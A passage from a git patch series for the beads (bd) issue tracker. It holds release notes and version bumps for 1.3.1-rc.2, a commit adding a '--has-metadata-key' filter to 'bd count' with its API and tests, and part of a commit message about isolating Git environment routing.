+220,31 @@ type VersionChange struct { // versionChanges contains agent-actionable changes for recent versions var versionChanges = []VersionChange{ + { + Version: "1.3.1-rc.2", + Date: "2026-09-29", + Changes: []string{ + "RC: second candidate for the 1.3.1 patch line. Still no schema migration, so upgrading from 1.3.0 or 1.3.1-rc.1 is a binary swap. The 1.3.1-rc.1 entry below still applies.", + "NEW: on a proxied-server workspace whose Dolt server bd runs (managed-local, the default), 'bd backup init/sync/status/restore/remove' now work, and 'backup.enabled=true' turns on auto-backup (default stays OFF). On an external or team-server proxied topology the family stays refused with 'proxy.backup.unsupported' and \"reason\": \"design\". Proxied refusals now carry a 'reason' field ('design' or 'unimplemented'). A per-workspace '.beads/backup.lock' serializes backups: 'bd backup sync' fails after 5s if another backup is running.", + "NEW: 'bd purge --wisps-plane --older-than --force [--limit N] --json' can replace a raw DELETE FROM wisps retention step. With --limit it purges oldest-closed first and reports 'remaining' and 'has_more'; loop while has_more is true.", + "CHANGE: 'bd purge' ALWAYS keeps a closed bead that a not-done bead depends on through parent-child, tracks or blocks, and reports the count as 'live_dependent_skipped'. There is no flag to disable it.", + "CHANGE: '--older-than' on 'bd purge' and 'bd prune' takes hour values exactly: '12h' no longer rounds up to a day and '36h' no longer floors to one, so 'bd prune --older-than 12h' now deletes rows closed 12-24 hours ago. Day values (7, 7d, 2w) are unchanged; a value too large to represent is refused.", + "CHANGE: 'bd show --watch ' works under --proxied-server, and on both routes a watch whose id cannot be found exits 1 instead of 0.", + "CHANGE: 'bd sql' classifies statements with the SQL parser. Proxied CTE queries ('WITH ... AS (...) SELECT') return their rows instead of 'OK, 0 rows affected', and CALL result sets are printed. In direct server mode a multi-statement write, or a write the parser cannot classify, prints 'OK' / {\"status\":\"ok\"} instead of 'OK, N rows affected' / {\"rows_affected\":N}. 'bd sql --readonly' refuses statements it cannot parse (e.g. PRAGMA).", + "CHANGE: 'bd types' lists exactly what 'bd create --type' accepts, with a new 'System types' section and an additive 'system_types' JSON field. A failure to read custom types now fails 'bd types', 'bd create --graph' and 'bd config set storage-class.*' instead of meaning 'no custom types'.", + "CHANGE: an explicit BEADS_DIR is authoritative. Point it at the .beads directory itself: a BEADS_DIR naming a project root, or a .beads that does not exist yet, now fails with 'no beads database found' instead of resolving to the nearest workspace above the current directory. 'bd init' initializes the named directory.", + "CHANGE: 'bd close' with several ids exits non-zero when any id fails to close (the rest still close). With --json, a summary naming the failed ids goes to stderr.", + "CHANGE: an unflagged piped 'bd query' is no longer capped at 50 rows; it follows the 'bd list' limit policy.", + "CHANGE: on a proxied workspace, dolt.auto-commit=batch/off now defers Dolt history commits and 'bd dolt commit' is supported as the flush point. Explicit commit points ('bd batch', 'bd mol bond/pour/squash', 'bd mol wisp create') still commit. The default 'on' is unchanged.", + "CHANGE: 'bd ready' and 'bd list --ready' include issues whose custom status is in the 'active' category; 'bd list --status --ready' honors --status; bare 'bd list --wisp-type' is refused (use --include-ephemeral); 'bd doctor' warns about a missing .beads/dolt-server-config.yaml gitignore pattern until 'bd doctor --fix'.", + "CHANGE: on a proxied-server workspace or under 'bd serve', opening a store against an unreachable Dolt server retries for up to ~40s before failing, instead of failing at once.", + "FIX: two blockers of one dependent removed at the same time (parallel closes, a close racing 'bd dep remove' or a delete) no longer leave the dependent stuck blocked and hidden from 'bd ready' (#6716), on every store route including --proxied-server.", + "FIX: a proxy whose Dolt backend exits cleanly now retires, so the next command starts a fresh one; 'bd dolt status' reports it as not serving.", + "FIX: a server workspace with an empty .beads/dolt is no longer refused as a legacy workspace; 'bd init' writes the version marker.", + "FIX: the smart migrate gate no longer auto-migrates a clone whose data is behind its remote. It stops with 'run bd dolt pull, then retry', and 'bd dolt pull' works from that state.", + "FIX: deleting or purging a wisp no longer orphans wisp_dependencies, wisp_labels, wisp_events, wisp_comments or wisp_child_counters rows on stores without the wisp foreign keys (existing orphans are not cleaned). A clone missing its dolt-ignored events tables recreates them on open.", + }, + }, { Version: "1.3.1-rc.1", Date: "2026-09-16", diff --git a/cmd/bd/version.go b/cmd/bd/version.go index be648b593..3b15822b1 100644 --- a/cmd/bd/version.go +++ b/cmd/bd/version.go @@ -16,7 +16,7 @@ import ( var ( // Version is the current version of bd (overridden by ldflags at build time) - Version = "1.3.1-rc.1" + Version = "1.3.1-rc.2" // Build can be set via ldflags at compile time Build = "dev" // Commit and branch the git revision the binary was built from (optional ldflag) diff --git a/cmd/bd/winres/winres.json b/cmd/bd/winres/winres.json index c497b8a90..0033c3540 100644 --- a/cmd/bd/winres/winres.json +++ b/cmd/bd/winres/winres.json @@ -18,12 +18,12 @@ "Comments": "AI-supervised issue tracker for coding workflows", "CompanyName": "Steve Yegge", "FileDescription": "beads - AI-supervised issue tracker", - "FileVersion": "1.3.1-rc.1", + "FileVersion": "1.3.1-rc.2", "InternalName": "bd", "LegalCopyright": "Copyright (c) 2024-2026 Steve Yegge. MIT License.", "OriginalFilename": "bd.exe", "ProductName": "beads", - "ProductVersion": "1.3.1-rc.1" + "ProductVersion": "1.3.1-rc.2" } } } diff --git a/default.nix b/default.nix index 5ec1275c6..f3e3c72f8 100644 --- a/default.nix +++ b/default.nix @@ -7,7 +7,7 @@ }: buildGoModule { pname = "beads"; - version = "1.3.1-rc.1"; + version = "1.3.1-rc.2"; src = self; diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index 5832ba943..5ef179c88 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "beads-mcp" -version = "1.3.1-rc.1" +version = "1.3.1-rc.2" description = "MCP server for beads issue tracker." readme = "README.md" requires-python = ">=3.10" diff --git a/integrations/beads-mcp/src/beads_mcp/__init__.py b/integrations/beads-mcp/src/beads_mcp/__init__.py index 8118d4656..ef0328f6c 100644 --- a/integrations/beads-mcp/src/beads_mcp/__init__.py +++ b/integrations/beads-mcp/src/beads_mcp/__init__.py @@ -4,4 +4,4 @@ This package provides an MCP (Model Context Protocol) server that exposes beads (bd) issue tracker functionality to MCP Clients. """ -__version__ = "1.3.1-rc.1" +__version__ = "1.3.1-rc.2" diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index 1ccf25835..06aab85ee 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -175,7 +175,7 @@ wheels = [ [[package]] name = "beads-mcp" -version = "1.3.1rc1" +version = "1.3.1rc2" source = { editable = "." } dependencies = [ { name = "fastmcp" }, diff --git a/npm-package/package.json b/npm-package/package.json index c9382b627..fadd26e7b 100644 --- a/npm-package/package.json +++ b/npm-package/package.json @@ -1,6 +1,6 @@ { "name": "@beads/bd", - "version": "1.3.1-rc.1", + "version": "1.3.1-rc.2", "description": "Beads issue tracker - lightweight memory system for coding agents with native binary support", "main": "bin/bd.js", "bin": { diff --git a/plugins/beads/.claude-plugin/plugin.json b/plugins/beads/.claude-plugin/plugin.json index 0ee54c8c7..846f0aadd 100644 --- a/plugins/beads/.claude-plugin/plugin.json +++ b/plugins/beads/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.1-rc.1", + "version": "1.3.1-rc.2", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" diff --git a/plugins/beads/.codex-plugin/plugin.json b/plugins/beads/.codex-plugin/plugin.json index 96958575f..d6ba3db26 100644 --- a/plugins/beads/.codex-plugin/plugin.json +++ b/plugins/beads/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "beads", - "version": "1.3.1-rc.1", + "version": "1.3.1-rc.2", "description": "AI-supervised issue tracking for coding workflows with agent skills.", "author": { "name": "Steve Yegge", diff --git a/plugins/beads/.copilot-plugin/plugin.json b/plugins/beads/.copilot-plugin/plugin.json index dd5cd6eff..5b2331b1b 100644 --- a/plugins/beads/.copilot-plugin/plugin.json +++ b/plugins/beads/.copilot-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.1-rc.1", + "version": "1.3.1-rc.2", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" From 9017d33745c91ff0274d372e19a53eb15cc4b883 Mon Sep 17 00:00:00 2001 From: postoso Date: Tue, 29 Sep 2026 16:16:37 -0400 Subject: [PATCH 237/624] feat(count): accept --has-metadata-key (#6282) bd list, bd ready and bd search all take --has-metadata-key. bd count did not, so counting the rows that merely carry a key meant listing them and measuring the page. This is the last metadata-filter parity gap between count and the listings. The storage layer already carries the filter: types.IssueFilter has HasMetadataKey and sqlbuild.AppendMetadataClauses consumes it. What was missing is the role field, the builder wiring, the CLI flag and the HTTP contract, so this is one change rather than a stack. Parsing matches list_input.go and ready_input.go, including the key validation. BuildCountFilter now passes the key to ValidateMetadataFilters instead of the empty string it passed before, which makes the role's existing refusal reachable from the count surface; failReadErr already classifies that error as a 400 on has_metadata_key. apigen types are regenerated from the spec via go:generate, not hand edited. The pinned CLI docs are untouched. Fixes #6160 Co-authored-by: postoso Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 6 ++++++ cmd/bd/count.go | 7 +++++++ cmd/bd/count_embedded_test.go | 14 +++++++++++++- cmd/bd/count_filter_test.go | 12 ++++++++++++ cmd/bd/count_proxied_integration_test.go | 10 ++++++++++ internal/httpapi/apigen/types.gen.go | 3 +++ internal/httpapi/count_test.go | 16 ++++++++++------ internal/httpapi/problem.go | 7 ++++--- internal/httpapi/reads.go | 1 + internal/httpapi/reads_test.go | 1 + internal/httpapi/spec/openapi.v0.yaml | 11 ++++++++--- internal/workapi/count.go | 5 ++++- internal/workapi/count_test.go | 14 ++++++++++++++ issueops/counter.go | 5 ++++- 14 files changed, 97 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 25f72cb7f..09c26d636 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -393,6 +393,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `--json` are unchanged; silence it with `--quiet` or `BD_NO_PARTIAL_ID_NOTICE=1`. +- **`bd count` accepts `--has-metadata-key`** + ([#6160](https://github.com/gastownhall/beads/issues/6160)), closing the last + metadata-filter gap against `bd list`, `bd ready` and `bd search`. A caller + counting rows that merely carry a key no longer has to list them and measure + the page. + - **`bd count` supports repeatable `--metadata-field key=value` filters** ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every diff --git a/cmd/bd/count.go b/cmd/bd/count.go index b6ce36ae2..c6c568236 100644 --- a/cmd/bd/count.go +++ b/cmd/bd/count.go @@ -121,6 +121,12 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun request.MetadataFields[k] = v } } + if k, _ := cmd.Flags().GetString("has-metadata-key"); k != "" { + if err := storage.ValidateMetadataKey(k); err != nil { + return issueops.CountRequest{}, "", HandleErrorRespectJSON("invalid --has-metadata-key: %v", err) + } + request.HasMetadataKey = k + } if cmd.Flags().Changed("priority") { priority, _ := cmd.Flags().GetInt("priority") @@ -279,6 +285,7 @@ func registerCountFlags(cmd *cobra.Command) { cmd.Flags().Bool("no-assignee", false, "Filter issues with no assignee") cmd.Flags().Bool("no-labels", false, "Filter issues with no labels") cmd.Flags().StringArray("metadata-field", nil, "Filter by metadata field (key=value, repeatable)") + cmd.Flags().String("has-metadata-key", "", "Filter issues that have this metadata key set") // Priority ranges cmd.Flags().Int("priority-min", 0, "Filter by minimum priority (inclusive)") diff --git a/cmd/bd/count_embedded_test.go b/cmd/bd/count_embedded_test.go index ed2059816..e411661f0 100644 --- a/cmd/bd/count_embedded_test.go +++ b/cmd/bd/count_embedded_test.go @@ -90,12 +90,16 @@ func TestEmbeddedCount(t *testing.T) { bdCreate(t, bd, dir, "Count labeled two", "--type", "task", "--label", "backend") bdCreate(t, bd, dir, "Count notes issue", "--type", "task", "--description", "notes keyword here") bdCreate(t, bd, dir, "Count metadata issue", "--type", "task", "--metadata", `{"count_scope":"matching"}`) + // The same key with a different value: --has-metadata-key matches both + // fixtures where --metadata-field matches one, so the two filters cannot + // pass by answering the same number. + bdCreate(t, bd, dir, "Count metadata key issue", "--type", "task", "--metadata", `{"count_scope":"other"}`) // ===== Basic count ===== t.Run("basic_count_no_filters", func(t *testing.T) { out := strings.TrimSpace(bdCount(t, bd, dir)) - // Should return a number >= 9 (we created 9 issues) + // Should return a number >= 10 (we created 10 issues) if out == "0" { t.Error("expected non-zero count") } @@ -179,6 +183,14 @@ func TestEmbeddedCount(t *testing.T) { } }) + t.Run("filter_by_has_metadata_key", func(t *testing.T) { + got := int(bdCountJSON(t, bd, dir, "--has-metadata-key", "count_scope")["count"].(float64)) + want := len(bdListJSON(t, bd, dir, "--all", "--limit", "0", "--has-metadata-key", "count_scope")) + if got != want || got != 2 { + t.Errorf("count --has-metadata-key = %d, want list cardinality %d and fixture count 2", got, want) + } + }) + // ===== Title filter ===== t.Run("filter_by_title", func(t *testing.T) { diff --git a/cmd/bd/count_filter_test.go b/cmd/bd/count_filter_test.go index 457ebe032..89fd9ed01 100644 --- a/cmd/bd/count_filter_test.go +++ b/cmd/bd/count_filter_test.go @@ -65,6 +65,7 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { "no-assignee": "true", "no-labels": "true", "metadata-field": "team=platform", + "has-metadata-key": "audit_ref", "priority": "1", "priority-min": "0", "priority-max": "4", @@ -118,6 +119,7 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { NoAssignee: true, NoLabels: true, MetadataFields: map[string]string{"team": "platform"}, + HasMetadataKey: "audit_ref", IncludeInfra: true, } if !reflect.DeepEqual(request, want) { @@ -139,6 +141,16 @@ func TestParseCountRequestRejectsInvalidMetadataField(t *testing.T) { } } +func TestParseCountRequestRejectsInvalidHasMetadataKey(t *testing.T) { + flags := newCountFlagSet(t) + if err := flags.Flags().Set("has-metadata-key", "1bad"); err != nil { + t.Fatalf("set --has-metadata-key: %v", err) + } + if _, _, err := parseCountRequest(flags); err == nil { + t.Fatal("parseCountRequest accepted --has-metadata-key 1bad") + } +} + // TestParseCountRequestResolvesTheGroupingFlags pins each --by-* flag to its // dimension and the refusal for two at once. The exclusivity check cannot live // behind the role — by then only one dimension is left — so it is checked here. diff --git a/cmd/bd/count_proxied_integration_test.go b/cmd/bd/count_proxied_integration_test.go index b108d1ee3..2af3dede3 100644 --- a/cmd/bd/count_proxied_integration_test.go +++ b/cmd/bd/count_proxied_integration_test.go @@ -31,6 +31,9 @@ func TestProxiedServerCount(t *testing.T) { bdProxiedCreate(t, bd, p.dir, "Count labeled two", "--type", "task", "--label", "backend") bdProxiedCreate(t, bd, p.dir, "Count notes issue", "--type", "task", "--description", "notes keyword here") bdProxiedCreate(t, bd, p.dir, "Count metadata issue", "--type", "task", "--metadata", `{"count_scope":"matching"}`) + // The same key with a different value, so --has-metadata-key and + // --metadata-field cannot pass by answering the same number. + bdProxiedCreate(t, bd, p.dir, "Count metadata key issue", "--type", "task", "--metadata", `{"count_scope":"other"}`) // countInt runs "count " and parses the plain integer stdout. countInt := func(t *testing.T, args ...string) int { @@ -129,6 +132,13 @@ func TestProxiedServerCount(t *testing.T) { } }) + t.Run("filter_by_has_metadata_key", func(t *testing.T) { + got := countJSONInt(t, "--has-metadata-key", "count_scope") + if want := listCount("--has-metadata-key", "count_scope"); got != want || got != 2 { + t.Errorf("count --has-metadata-key = %d, want list cardinality %d and fixture count 2", got, want) + } + }) + // ===== Priority filter ===== t.Run("filter_by_priority", func(t *testing.T) { diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index a034b22cb..f97f80034 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -2363,6 +2363,9 @@ type CountIssuesParams struct { // MetadataField Top-level metadata equality filter as `key=value`, split on the first `=`. Repeatable. An invalid key is a 400. MetadataField *[]string `form:"metadata_field,omitempty" json:"metadata_field,omitempty"` + // HasMetadataKey Only issues carrying this top-level metadata key. + HasMetadataKey *string `form:"has_metadata_key,omitempty" json:"has_metadata_key,omitempty"` + // IncludeInfra Count the cardinality of `bd list --include-infra --all` instead of the durable plane. IT CHANGES FOUR THINGS AT ONCE, and they are listed rather than summarized because a caller reading "include infra" would expect one: // // the ephemeral wisps tier is MERGED IN, picking up both wisps and the `no_history` beads that are durable work stored in that tier; template molecules are EXCLUDED, which a default count includes; gate beads are EXCLUDED unless `type=gate` asks for them by name; and a `type` this workspace calls infra ROUTES the count to the ephemeral tier instead of the durable one. diff --git a/internal/httpapi/count_test.go b/internal/httpapi/count_test.go index 2b48830ae..4c4c515ec 100644 --- a/internal/httpapi/count_test.go +++ b/internal/httpapi/count_test.go @@ -114,6 +114,7 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { "no_assignee": {"true"}, "no_labels": {"true"}, "metadata_field": {"team=platform", "env=prod"}, + "has_metadata_key": {"audit_ref"}, "include_infra": {"true"}, }.Encode()) if resp.StatusCode != http.StatusOK { @@ -163,6 +164,7 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { NoAssignee: true, NoLabels: true, MetadataFields: map[string]string{"team": "platform", "env": "prod"}, + HasMetadataKey: "audit_ref", IncludeInfra: true, } @@ -540,9 +542,10 @@ func TestCountParametersMatchTheHandler(t *testing.T) { // It also keeps the role's group refusal unreachable from the wire: the // handler refuses an unknown group at the edge. Metadata validation is a // separate path. An invalid key reaches BuildCountFilter, whose role refusal -// failReadErr classifies as a 400 on `metadata_field`. This test guards only the -// group vocabulary; if that enum and the role's constants diverged, a value the -// server accepted and the role refused would arrive as an unclassified 500. +// failReadErr classifies as a 400 on `metadata_field` or `has_metadata_key`. +// This test guards only the group vocabulary; if that enum and the role's +// constants diverged, a value the server accepted and the role refused would +// arrive as an unclassified 500. func TestCountGroupEnumMatchesTheRolesVocabulary(t *testing.T) { doc := loadSpec(t) so := specOps(t, doc)["countIssues"] @@ -568,7 +571,7 @@ func TestCountGroupEnumMatchesTheRolesVocabulary(t *testing.T) { // The other two are already mechanical: TestCountParametersMatchTheHandler ties // the parameter names to the DOCUMENT, and TestCountForwardsEveryDocumentedParameter // ties each parameter's VALUE to the field it lands in. Neither can see a role -// field that no parameter reaches — a 24th filter added to CountRequest and left +// field that no parameter reaches — a 25th filter added to CountRequest and left // unpublished turns nothing red, and the wire silently stops being able to ask // a question the role can answer. That is the failure this map closes, and it is // the one that matters for an HTTP-backed store: it is how the wire becomes @@ -600,11 +603,12 @@ var countFieldForParameter = map[string]string{ "no_assignee": "NoAssignee", "no_labels": "NoLabels", "metadata_field": "MetadataFields", + "has_metadata_key": "HasMetadataKey", "include_infra": "IncludeInfra", } -// TestEveryCountRequestFieldIsPublished: the role publishes 24 filters and the -// wire publishes all 24. A field added to issueops.CountRequest fails here and +// TestEveryCountRequestFieldIsPublished: the role publishes 25 filters and the +// wire publishes all 25. A field added to issueops.CountRequest fails here and // NAMES itself, so the choice is made deliberately — publish it, or record why // it is withheld — rather than by nobody noticing. // diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 187b412d5..4be427015 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -720,9 +720,10 @@ var operationCodes = map[string][]Code{ // malformed values, repeated single-valued parameters and a `group_by` // outside the closed set. countGroupOf stops that last case at the edge. // The role has exactly one reachable refusal: BuildCountFilter rejects an - // invalid metadata key. failReadErr classifies it through invalidFilterParam - // as a 400 on `metadata_field`. An unrecognized status or type is not a - // refusal; the role promises it matches nothing and answers 0. + // invalid metadata key, from `metadata_field` or `has_metadata_key`. + // failReadErr classifies it through invalidFilterParam as a 400 naming the + // parameter it came from. An unrecognized status or type is not a refusal; + // the role promises it matches nothing and answers 0. OpCountIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The listing's vocabulary minus the cursor: this operation has none, so // invalid_cursor cannot arise. An unparseable EXPRESSION is an diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index a0708c153..13da51856 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -217,6 +217,7 @@ func countFilters(q *query) issueops.CountRequest { NoAssignee: q.boolean("no_assignee"), NoLabels: q.boolean("no_labels"), MetadataFields: q.metadataFields("metadata_field"), + HasMetadataKey: q.str("has_metadata_key"), // The plane switch, forwarded as the boolean the caller sent. What it // MEANS — merge the wisps tier, drop templates, drop gates, and route an diff --git a/internal/httpapi/reads_test.go b/internal/httpapi/reads_test.go index e585de60c..672f5147e 100644 --- a/internal/httpapi/reads_test.go +++ b/internal/httpapi/reads_test.go @@ -160,6 +160,7 @@ func TestABuilderRefusalIsTheDocumentedBadRequest(t *testing.T) { {"a metadata field key on the ready surface", "/v0/beads/ready?metadata_field=1bad=x", "metadata_field"}, {"a has-metadata key on the ready surface", "/v0/beads/ready?has_metadata_key=1bad", "has_metadata_key"}, {"a metadata field key on the count surface", "/v0/beads/issues:count?metadata_field=1bad=x", "metadata_field"}, + {"a has-metadata key on the count surface", "/v0/beads/issues:count?has_metadata_key=1bad", "has_metadata_key"}, } { t.Run(tc.name, func(t *testing.T) { ts, _ := newReadServer(t, Config{}) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index be43c5df4..24f30e574 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1977,6 +1977,11 @@ paths: type: array items: type: string + - name: has_metadata_key + in: query + description: Only issues carrying this top-level metadata key. + schema: + type: string - name: include_infra in: query description: >- @@ -2050,9 +2055,9 @@ paths: A malformed `metadata_field` shape and an unknown `group_by` are transport refusals. An invalid metadata key passes query decoding, then `BuildCountFilter` rejects it and `failReadErr` classifies the - role's error as a `400` on `metadata_field`. An unrecognized - `status` or `type` is not a refusal; it matches nothing and answers - `0`. + role's error as a `400` naming the parameter it came from — + `metadata_field` or `has_metadata_key`. An unrecognized `status` or + `type` is not a refusal; it matches nothing and answers `0`. x-bd-codes: [invalid_argument] content: application/problem+json: diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 5f17e769b..8d82b5413 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -67,7 +67,10 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt if len(in.MetadataFields) > 0 { filter.MetadataFields = in.MetadataFields } - if err := ValidateMetadataFilters(in.MetadataFields, ""); err != nil { + if in.HasMetadataKey != "" { + filter.HasMetadataKey = in.HasMetadataKey + } + if err := ValidateMetadataFilters(in.MetadataFields, in.HasMetadataKey); err != nil { return types.IssueFilter{}, err } diff --git a/internal/workapi/count_test.go b/internal/workapi/count_test.go index c0335e150..481e035c2 100644 --- a/internal/workapi/count_test.go +++ b/internal/workapi/count_test.go @@ -173,6 +173,20 @@ func TestBuildCountFilterCarriesMetadataFields(t *testing.T) { } } +func TestBuildCountFilterCarriesHasMetadataKey(t *testing.T) { + got, err := BuildCountFilter(issueops.CountRequest{HasMetadataKey: "audit_ref"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if got.HasMetadataKey != "audit_ref" { + t.Errorf("HasMetadataKey = %q, want %q", got.HasMetadataKey, "audit_ref") + } + + if _, err := BuildCountFilter(issueops.CountRequest{HasMetadataKey: "1bad"}, ListConfig{}); err == nil { + t.Fatal("BuildCountFilter accepted an invalid has-metadata key") + } +} + // TestBuildCountFilterTakesStatusAndTypeAsWritten pins the deliberate absence // of validation: an unrecognized status or type reaches the filter as written // and matches nothing, rather than failing. A scripted caller counting a diff --git a/issueops/counter.go b/issueops/counter.go index ccdccdaa5..53780573e 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -92,8 +92,11 @@ type CountRequest struct { TitleContains string DescContains string NotesContains string - // MetadataFields requires equality for every top-level key/value pair. + // MetadataFields requires equality for every top-level key/value pair and + // HasMetadataKey is a top-level key-presence filter, spelled as + // ListRequest and ReadyRequest spell them. Keys are validated inside. MetadataFields map[string]string + HasMetadataKey string CreatedAfter *time.Time CreatedBefore *time.Time From cb9a68896e3c82170b683120d71c28ef7a129729 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Tue, 29 Sep 2026 14:20:38 -0600 Subject: [PATCH 238/624] fix(hooks): keep standalone operations in one selected Git context (#6463) * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve CRLF when appending project rules (saa-cgh.96) Reported by bee-ghosttrack in gastownhall/beads#6343. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate tracked-file guard from Git routing (saa-cgh.98) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6356. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): isolate role commands from Git routing (saa-cgh.99) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6357. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): pin detector edge cases and clarify append behavior (saa-cgh.96) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve line endings in Git exclude appends (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): share append byte composition (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): clarify exclude fixture path variable (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(gitignore): explain append aliasing and trailing CR completion (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): refuse exclude writes after read errors (saa-cgh.110) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(config): explain role command routing policy (saa-cgh.99) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): retain legitimate inherited tracking context (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): use shared composition for exclude rules (saa-cgh.111) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): isolate trusted global configuration fixture (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): omit the empty exclude leading separator (saa-cgh.112) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(git): isolate domain role configuration from inherited routing (saa-cgh.109.5) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate role cleanup in the selected repository (saa-cgh.109.4) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): probe the selected repository before configuring roles (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): reset only common local role configuration (saa-cgh.109.10) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): scope hooks-path cleanup to selected common config (saa-cgh.109.11) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * 